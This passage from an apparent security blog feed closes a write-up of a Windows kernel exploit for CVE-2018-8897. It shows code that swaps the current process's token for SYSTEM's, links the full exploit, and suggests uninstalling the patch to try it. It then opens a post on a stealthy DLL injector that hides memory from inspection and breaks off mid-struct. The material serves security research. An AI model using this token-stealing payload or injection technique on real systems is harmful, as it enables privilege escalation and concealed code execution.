&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;SystemToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;k_PsReferencePrimaryToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;SystemProcess&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mh"&gt;0x500&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mh"&gt;0x8&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;Member&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CurrentProcess&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Member&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mh"&gt;0xF&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;CurrentToken&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CurrentProcess&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SystemToken&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;k_PsDereferencePrimaryToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CurrentToken&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;k_PsDereferencePrimaryToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;SystemToken&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="images/5.webp" alt=""&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="images/2.webp" alt=""&gt;&lt;/p&gt;
&lt;p&gt;Complete implementation of the concept can be found at: &lt;a href="https://github.com/can1357/CVE-2018-8897"&gt;https://github.com/can1357/CVE-2018-8897&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Credits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://twitter.com/0xNemi"&gt;@0xNemi&lt;/a&gt; and &lt;a href="https://twitter.com/nickeverdox"&gt;@nickeverdox&lt;/a&gt; for finding the vulnerability&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;P.S.: If you want to try this exploit out, you can uninstall the &lt;a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8897"&gt;relevant update&lt;/a&gt; and give it a try!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;P.P.S.: Before you ask why I don&amp;rsquo;t use intrinsics to read/write GSBASE, it is because MSVC generates invalid code:&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="images/4.webp" alt=""&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="images/1.webp" alt=""&gt;&lt;/p&gt;</description></item><item><title>Making the Perfect Injector: Abusing Windows Address Sanitization and CoW</title><link>https://blog.can.ac/2018/05/02/making-the-perfect-injector-abusing-windows-address-sanitization-and-cow/</link><pubDate>Wed, 02 May 2018 00:00:00 +0000</pubDate><guid>https://blog.can.ac/2018/05/02/making-the-perfect-injector-abusing-windows-address-sanitization-and-cow/</guid><description>&lt;p&gt;By the end of this post, I aim to make an injector unlike any other: one that by design makes your DLL not debuggable from UM, makes your pages invisible to NtQueryVirtualMemory and NtReadVirtualMemory, and lets you execute code in target process without even having a valid handle; and while doing this I want it to be compatible with Patchguard, have no kernel driver loaded while the target is running and require no handle at all.&lt;/p&gt;
&lt;p&gt;Now, this may seem like a stupidly complicated goal, however, it is in fact really simple because Windows will be helping us.&lt;/p&gt;
&lt;p&gt;(Source code can be found at the bottom)&lt;/p&gt;
&lt;h2 id="0x1-abusing-windows-address-sanitization"&gt;&lt;span class="hx"&gt;0x1:&lt;/span&gt; Abusing Windows Address Sanitization&lt;/h2&gt;
&lt;p&gt;Anyone who has opened ntoskrnl.exe in IDA probably noticed these checks:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;__usercall&lt;/span&gt; &lt;span class="n"&gt;MiReadWriteVirtualMemory&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ULONG_PTR&lt;/span&gt; &lt;span class="n"&gt;BugCheckParameter1&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v10&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;a3&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;v9&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mh"&gt;0x7FFFFFFEFFFF&lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;v10&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mh"&gt;0x7FFFFFFEFFFF&lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mh"&gt;0xC0000005&lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="kr"&gt;__fastcall&lt;/span&gt; &lt;span class="nf"&gt;MmQueryVirtualMemory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v12&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mh"&gt;0x7FFFFFFEFFFF&lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mh"&gt;0xC000000D&lt;/span&gt;&lt;span class="n"&gt;i64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Okay so what is so interesting about these you might be asking right now, 0x7FFFFFFEFFFF marks the end of user-mode memory so they are obviously there to make sure it doesn&amp;rsquo;t leak kernel memory to user-mode.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s what makes them so interesting: these constants are &lt;strong&gt;hard-coded by the operating systems&lt;/strong&gt; and are &lt;strong&gt;NOT what the processor actually uses&lt;/strong&gt; to decide whether a page is accessible from cpl3 or not.&lt;/p&gt;
&lt;p&gt;In case you are not familiar with page tables, here&amp;rsquo;s how virtual memory works:&lt;/p&gt;
&lt;p&gt;The first 12 bits (&amp;amp;0xFFF) of a virtual address indicates the offset from the resolved page, the next four 9 bit combinations (&amp;amp;0x1FF000, &amp;amp;0x3FE00000, &amp;amp;0x7FC0000000, &amp;amp;0xFF8000000000) indicate the indices of the entry in the page table, page directory, page directory pointer and page map level4 respectively. These entries, apart from linking to the lower level also contain certain flags like write disable, execute disable, etc; as you can see from the definitions below.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#pragma pack(push, 1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="n"&gt;CR3_&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;ignored_1&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;write_through&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;cache_disable&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;ignored_2&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;pml4_p&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;reserved&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;PTE_CR3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="n"&gt;VIRT_ADDR_&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;offset&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;pt_index&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;pd_index&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;pdpt_index&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;pml4_index&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;reserved&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;VIRT_ADDR&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;PHYS_ADDR&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="n"&gt;PML4E_&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;present&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;rw&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;user&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
